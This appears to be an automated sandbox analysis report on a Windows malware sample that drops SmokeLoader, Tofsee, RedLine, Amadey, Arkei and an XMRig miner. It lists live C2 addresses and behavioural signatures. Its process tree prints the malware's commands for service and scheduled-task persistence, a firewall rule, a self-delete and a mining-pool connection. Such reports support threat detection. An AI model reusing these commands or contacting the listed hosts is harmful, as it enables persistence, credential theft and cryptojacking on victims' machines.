Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20/12/2021, 06:02

General

  • Target
    d255a1553788ce58be499d257f6bfd07.exe
  • Size 323KB
  • Sample211220-grgh9aaehk
  • SHA256 19a0618ab7a618cd4a4fce86689f8614d9d8074d2894cb6b15e18c2e4ec97fb1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • redline

Botnet
  • install

C2
  • 62.182.156.187:56323

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 59 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d255a1553788ce58be499d257f6bfd07.exe
    "C:\Users\Admin\AppData\Local\Temp\d255a1553788ce58be499d257f6bfd07.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2544
    • C:\Users\Admin\AppData\Local\Temp\d255a1553788ce58be499d257f6bfd07.exe
      "C:\Users\Admin\AppData\Local\Temp\d255a1553788ce58be499d257f6bfd07.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1120
  • C:\Users\Admin\AppData\Local\Temp\B4D5.exe
    C:\Users\Admin\AppData\Local\Temp\B4D5.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:3960
  • C:\Users\Admin\AppData\Local\Temp\AE5.exe
    C:\Users\Admin\AppData\Local\Temp\AE5.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1320
    • C:\Users\Admin\AppData\Local\Temp\AE5.exe
      C:\Users\Admin\AppData\Local\Temp\AE5.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:376
  • C:\Users\Admin\AppData\Local\Temp\19EA.exe
    C:\Users\Admin\AppData\Local\Temp\19EA.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:612
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\19EA.exe" & exit
      2⤵
        PID:2052
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:2252
    • C:\Users\Admin\AppData\Local\Temp\1F3A.exe
      C:\Users\Admin\AppData\Local\Temp\1F3A.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ttfuwumn\
        2⤵
          PID:624
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kgtfnqry.exe" C:\Windows\SysWOW64\ttfuwumn\
          2⤵
            PID:3132
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create ttfuwumn binPath= "C:\Windows\SysWOW64\ttfuwumn\kgtfnqry.exe /d\"C:\Users\Admin\AppData\Local\Temp\1F3A.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:3164
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description ttfuwumn "wifi internet conection"
              2⤵
                PID:3872
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start ttfuwumn
                2⤵
                  PID:1240
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1792
                • C:\Users\Admin\AppData\Local\Temp\2391.exe
                  C:\Users\Admin\AppData\Local\Temp\2391.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1316
                  • C:\Users\Admin\AppData\Local\Temp\2391.exe
                    C:\Users\Admin\AppData\Local\Temp\2391.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1560
                • C:\Users\Admin\AppData\Local\Temp\2B52.exe
                  C:\Users\Admin\AppData\Local\Temp\2B52.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2076
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:3632
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:2520
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:1736
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:1200
                    • C:\Users\Admin\AppData\Local\Temp\3258.exe
                      C:\Users\Admin\AppData\Local\Temp\3258.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1376
                    • C:\Users\Admin\AppData\Local\Temp\3631.exe
                      C:\Users\Admin\AppData\Local\Temp\3631.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1628
                      • C:\Users\Admin\AppData\Local\Temp\3631.exe
                        C:\Users\Admin\AppData\Local\Temp\3631.exe
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2916
                    • C:\Users\Admin\AppData\Local\Temp\4749.exe
                      C:\Users\Admin\AppData\Local\Temp\4749.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of SetThreadContext
                      PID:2176
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                        2⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1168
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                      • Accesses Microsoft Outlook profiles
                      • outlook_office_path
                      • outlook_win_path
                      PID:1016
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:3428
                      • C:\Windows\SysWOW64\ttfuwumn\kgtfnqry.exe
                        C:\Windows\SysWOW64\ttfuwumn\kgtfnqry.exe /d"C:\Users\Admin\AppData\Local\Temp\1F3A.exe"
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:3248
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe
                          2⤵
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          PID:1520
                          • C:\Windows\SysWOW64\svchost.exe
                            svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                            3⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3100
                      • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1612

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            memory/612-161-0x00000000005D0000-0x000000000071A000-memory.dmp

                            memory/612-162-0x0000000000400000-0x00000000004D2000-memory.dmp

                            memory/1016-221-0x0000000001000000-0x0000000001074000-memory.dmp

                            memory/1016-223-0x0000000000D70000-0x0000000000DDB000-memory.dmp

                            memory/1120-116-0x0000000000400000-0x0000000000409000-memory.dmp

                            memory/1168-312-0x0000000004A50000-0x0000000005056000-memory.dmp

                            memory/1316-148-0x00000000050A0000-0x00000000050A1000-memory.dmp

                            memory/1316-147-0x0000000005220000-0x0000000005221000-memory.dmp

                            memory/1316-153-0x0000000005970000-0x0000000005971000-memory.dmp

                            memory/1316-144-0x0000000000850000-0x0000000000851000-memory.dmp

                            memory/1316-150-0x0000000001090000-0x0000000001091000-memory.dmp

                            memory/1316-146-0x00000000050C0000-0x00000000050C1000-memory.dmp

                            memory/1320-137-0x00000000004E0000-0x000000000058E000-memory.dmp

                            memory/1376-159-0x0000000000170000-0x0000000000171000-memory.dmp

                            memory/1376-178-0x0000000000690000-0x00000000006B3000-memory.dmp

                            memory/1376-251-0x0000000002AA7000-0x0000000002AA9000-memory.dmp

                            memory/1376-186-0x0000000002D40000-0x0000000002D41000-memory.dmp

                            memory/1376-188-0x0000000002AA3000-0x0000000002AA4000-memory.dmp

                            memory/1376-250-0x0000000006650000-0x0000000006651000-memory.dmp

                            memory/1376-249-0x00000000065A0000-0x00000000065A1000-memory.dmp

                            memory/1376-184-0x0000000002AA0000-0x0000000002AA1000-memory.dmp

                            memory/1376-181-0x0000000002AA2000-0x0000000002AA3000-memory.dmp

                            memory/1376-185-0x0000000002AA4000-0x0000000002AA5000-memory.dmp

                            memory/1376-158-0x0000000000400000-0x0000000000523000-memory.dmp

                            memory/1376-166-0x0000000000780000-0x00000000007B8000-memory.dmp

                            memory/1376-165-0x0000000000730000-0x00000000007DE000-memory.dmp

                            memory/1376-160-0x0000000000400000-0x0000000000523000-memory.dmp

                            memory/1376-163-0x0000000000730000-0x00000000007DE000-memory.dmp

                            memory/1520-266-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

                            memory/1520-262-0x0000000002D90000-0x0000000002DA5000-memory.dmp

                            memory/1520-265-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

                            memory/1560-198-0x00000000050D0000-0x00000000050D1000-memory.dmp

                            memory/1560-267-0x00000000072D0000-0x00000000072D1000-memory.dmp

                            memory/1560-189-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/1560-264-0x0000000006BD0000-0x0000000006BD1000-memory.dmp

                            memory/1560-196-0x00000000051A0000-0x00000000051A1000-memory.dmp

                            memory/1560-201-0x0000000005110000-0x0000000005111000-memory.dmp

                            memory/1560-200-0x0000000004FE0000-0x00000000055E6000-memory.dmp

                            memory/1560-195-0x0000000005070000-0x0000000005071000-memory.dmp

                            memory/1560-194-0x00000000055F0000-0x00000000055F1000-memory.dmp

                            memory/1612-297-0x00000000004E0000-0x000000000058E000-memory.dmp

                            memory/1612-298-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/1628-183-0x0000000002700000-0x0000000002701000-memory.dmp

                            memory/1628-172-0x0000000000640000-0x0000000000641000-memory.dmp

                            memory/1628-180-0x0000000004F90000-0x0000000004F91000-memory.dmp

                            memory/2076-228-0x0000000000570000-0x00000000006BA000-memory.dmp

                            memory/2076-225-0x00000000006D6000-0x00000000006F4000-memory.dmp

                            memory/2076-244-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/2176-229-0x0000000000960000-0x0000000000961000-memory.dmp

                            memory/2176-237-0x0000000002EB0000-0x0000000002EB1000-memory.dmp

                            memory/2176-231-0x0000000000980000-0x0000000000981000-memory.dmp

                            memory/2176-245-0x0000000002EA0000-0x0000000002EA1000-memory.dmp

                            memory/2176-235-0x0000000002E90000-0x0000000002E91000-memory.dmp

                            memory/2176-233-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

                            memory/2176-232-0x0000000000D60000-0x0000000000D61000-memory.dmp

                            memory/2176-238-0x0000000000FD0000-0x0000000001A81000-memory.dmp

                            memory/2176-230-0x0000000000970000-0x0000000000971000-memory.dmp

                            memory/2544-115-0x00000000006F6000-0x0000000000707000-memory.dmp

                            memory/2544-118-0x00000000004E0000-0x000000000062A000-memory.dmp

                            memory/2916-220-0x0000000004CD0000-0x00000000052D6000-memory.dmp

                            memory/2916-204-0x0000000000400000-0x0000000000420000-memory.dmp

                            memory/3032-119-0x0000000001050000-0x0000000001066000-memory.dmp

                            memory/3032-126-0x0000000001160000-0x0000000001176000-memory.dmp

                            memory/3032-164-0x0000000005110000-0x0000000005126000-memory.dmp

                            memory/3232-187-0x00000000005C0000-0x000000000070A000-memory.dmp

                            memory/3232-182-0x0000000000400000-0x00000000004D1000-memory.dmp

                            memory/3248-276-0x0000000000400000-0x00000000004D1000-memory.dmp

                            memory/3248-259-0x0000000000741000-0x0000000000751000-memory.dmp

                            memory/3248-272-0x00000000005B0000-0x00000000006FA000-memory.dmp

                            memory/3428-226-0x0000000000910000-0x0000000000917000-memory.dmp

                            memory/3428-227-0x0000000000900000-0x000000000090C000-memory.dmp

                            memory/3632-277-0x00000000005F0000-0x000000000073A000-memory.dmp

                            memory/3632-278-0x0000000000400000-0x00000000004D6000-memory.dmp

                            memory/3960-125-0x0000000000400000-0x00000000004CD000-memory.dmp

                            memory/3960-124-0x00000000001D0000-0x00000000001D9000-memory.dmp